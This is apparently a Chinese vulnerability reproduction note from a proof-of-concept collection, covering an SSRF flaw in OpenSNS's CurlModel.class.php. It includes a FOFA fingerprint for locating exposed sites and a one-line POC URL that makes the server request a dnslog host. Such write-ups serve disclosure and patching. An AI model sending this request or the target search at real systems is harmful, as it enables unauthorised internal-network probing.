Awesome-POC/CMS漏洞/OpenSNS CurlModel.class.php SSRF漏洞.md
2022-05-18 16:23:08 +08:00

35 lines
797 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# OpenSNS CurlModel.class.php SSRF漏洞
## 漏洞描述
OpenSNS CurlModel.class.php文件中curl方法存在SSRF漏洞通过漏洞攻击者可以探测内网信息
## 漏洞影响
```
OpenSNS
```
## FOFA
```
icon_hash="1167011145"
```
## 漏洞复现
登录页面如下
![image-20220518154436896](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205181544965.png)
存在漏洞的文件为 `Application/Admin/Model/CurlModel.class.php`
![image-20220518154502605](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205181545686.png)
构造POC
```
/?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://92aq2z.dnslog.cn
```
![image-20220518154516760](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205181545840.png)